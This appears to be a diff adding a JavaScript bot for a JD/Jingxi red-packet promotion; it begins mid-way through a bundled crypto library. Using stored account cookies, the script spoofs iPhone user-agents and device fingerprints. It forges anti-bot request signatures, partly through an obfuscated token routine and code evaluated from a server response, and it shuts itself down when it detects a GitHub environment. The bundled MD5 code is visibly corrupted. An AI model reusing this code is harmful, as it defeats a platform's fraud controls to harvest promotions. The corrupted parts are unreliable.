16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.RabbitLegacy = n._createHelper(h) }(), t.pad.ZeroPadding = { pad: function (t, r) { var e = 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t +}); +const $ = new Env('京喜领88元红包'); +const notify = $.isNode() ? require('./sendNotify') : {}; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : {}; +let cookiesArr = [], cookie = ''; +let UA, UAInfo = {}, codeInfo = {}, token; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }); + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +$.packetIdArr = []; +$.activeId = '529439'; +const BASE_URL = 'https://m.jingxi.com/cubeactive/steprewardv3' +$.appId = "e395f" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + // let res = await getAuthorShareCode('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jxhb.json') + // if (!res) { + // $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxhb.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + // await $.wait(1000) + // res = await getAuthorShareCode('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jxhb.json') + // } + // if (res && res.activeId) $.activeId = res.activeId; + // $.authorMyShareIds = [...((res && res.codes) || [])]; + $.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; + await requestAlgo() + await $.wait(1000) + //开启红包,获取互助码 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true + $.nickName = '' + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + UAInfo[$.UserName] = UA + await TotalBean(); + console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + token = await getJxToken() + await main(); + } + //互助 + console.log(`\n自己京东账号助力码:\n${JSON.stringify($.packetIdArr)}\n`); + console.log(`\n开始助力:助力逻辑 先自己京东相互助力,如有剩余助力机会,则助力作者\n`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.canHelp = true; + UA = UAInfo[$.UserName] + token = await getJxToken() + for (let j = 0; j < $.packetIdArr.length && $.canHelp; j++) { + console.log(`【${$.UserName}】去助力【${$.packetIdArr[j].userName}】邀请码:${$.packetIdArr[j].strUserPin}`); + if ($.UserName === $.packetIdArr[j].userName) { + console.log(`助力失败:不能助力自己`) + continue + } + $.max = false; + await enrollFriend($.packetIdArr[j].strUserPin); + await $.wait(5000); + if ($.max) { + $.packetIdArr.splice(j, 1) + j-- + continue + } + } + if ($.canHelp && ($.authorMyShareIds && $.authorMyShareIds.length)) { + console.log(`\n【${$.UserName}】有剩余助力机会,开始助力作者\n`) + for (let j = 0; j < $.authorMyShareIds.length && $.canHelp; j++) { + console.log(`【${$.UserName}】去助力作者的邀请码:${$.authorMyShareIds[j]}`); + $.max = false; + await enrollFriend($.authorMyShareIds[j]); + await $.wait(5000); + if ($.max) { + $.authorMyShareIds.splice(j, 1) + j-- + continue + } + } + } + } + //拆红包 + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + $.canOpenGrade = true; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + UA = UAInfo[$.UserName] + token = await getJxToken() + for (let grade of $.grades) { + if (!codeInfo[$.UserName]) continue; + console.log(`\n【${$.UserName}】去拆第${grade}个红包`); + await openRedPack(codeInfo[$.UserName], grade); + if (!$.canOpenGrade) break + await $.wait(15000); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + await joinActive(); + await $.wait(2000); + await getUserInfo(); +} +//参与活动 +function joinActive() { + return new Promise(resolve => { + $.get(taskurl('JoinActive', `stepreward_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&strPin=`), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`活动开启成功\n`); + } else { + console.log(`活动开启失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +//获取助力码 +function getUserInfo() { + return new Promise(resolve => { + $.get(taskurl('GetUserInfo'), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + $.grades = [] + $.helpNum = '' + let grades = data.Data.gradeConfig + for(let key of Object.keys(grades)){ + let vo = grades[key] + $.grades.push(vo.dwGrade) + $.helpNum = vo.dwHelpTimes + } + if (data.Data.dwHelpedTimes === $.helpNum) { + console.log(`${$.grades[$.grades.length - 1]}个阶梯红包已全部拆完\n`) + } else { + console.log(`获取助力码成功:${data.Data.strUserPin}\n`); + if (data.Data.strUserPin) { + $.packetIdArr.push({ + strUserPin: data.Data.strUserPin, + userName: $.UserName + }) + } + } + if (data.Data.strUserPin) { + codeInfo[$.UserName] = data.Data.strUserPin + } + } else { + console.log(`获取助力码失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//助力好友 +function enrollFriend(strPin) { + return new Promise(resolve => { + $.get(taskurl('EnrollFriend', `stepreward_jstoken=${token['farm_jstoken']}×tamp=${token['timestamp']}&phoneid=${token['phoneid']}&strPin=${strPin}`), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.log(JSON.stringify(err)); + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`助力成功🎉:${data.sErrMsg}\n`); + } else { + if (data.iRet === 2000) $.canHelp = false;//未登录 + if (data.iRet === 2015) $.canHelp = false;//助力已达上限 + if (data.iRet === 2016) { + $.canHelp = false;//助力火爆 + console.log(`温馨提示:如提示助力火爆,可尝试寻找京东客服`); + } + if (data.iRet === 2013 || data.iRet === 2011) $.max = true; + console.log(`助力失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function openRedPack(strPin, grade) { + return new Promise(resolve => { + $.get(taskurl('DoGradeDraw', `grade=${grade}`), (err, resp, data) => { + try { + if (err) { + console.log(`\n${$.name}: API查询请求失败 ‼️‼️`) + $.logErr(err); + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) { + console.log(`拆红包成功:${data.sErrMsg}\n`); + } else { + if (data.iRet === 2017) $.canOpenGrade = false; + console.log(`拆红包失败:${data.sErrMsg}\n`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +function taskurl(function_path, body = '') { + let url = `${BASE_URL}/${function_path}?activeId=${$.activeId}${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&userDraw=0&publishFlag=1&channel=7&_t=${Date.now()}&_=${Date.now()}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "3.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + // console.log(`获取签名参数成功!`) + // console.log(`fp: ${$.fingerprint}`) + // console.log(`token: ${$.token}`) + // console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(Date.now() + 2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} +/** + * 模拟生成 fingerprint + * @returns {string} + */ +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0,16) +} +var _0xod8='jsjiami.com.v6',_0x2cf9=[_0xod8,'SsOTGQU0','w5fDtsOZw7rDhnHDpgo=','w47DoV4CZsK7w6bDtAkyJsOJexNawqZnw6FTe0dQw63DlHlvGMKBw4rDs8OYwoEWD0ML','VRFwZ8KG','H2jCkCrDjw==','bMO0Nigr','w5fDlkwEZg==','w6DCkUbDjWMz','wrYhHTQR','w5vDrG4SccK0w6/Duw==','w6HClVzDiX8=','5q2P6La95Y6CEiDCkMOgwrcr5aOj5Yes5LqV6Kai6I6aauS/jeebg1YLw5RSGy7Cm3M9QuWSlOmdsuazmOWKleWPs0PDkcOgPg==','WjsjIieSanSTdXmiuZb.EncDom.v6=='];(function(_0x30e78a,_0x12a1c3,_0x4ca71c){var _0x40a26e=function(_0x59c439,_0x435a06,_0x70e6be,_0x39d363,_0x31edda){_0x435a06=_0x435a06>>0x8,_0x31edda='po';var _0x255309='shift',_0x4aba1a='push';if(_0x435a06<_0x59c439){while(--_0x59c439){_0x39d363=_0x30e78a[_0x255309]();if(_0x435a06===_0x59c439){_0x435a06=_0x39d363;_0x70e6be=_0x30e78a[_0x31edda+'p']();}else if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 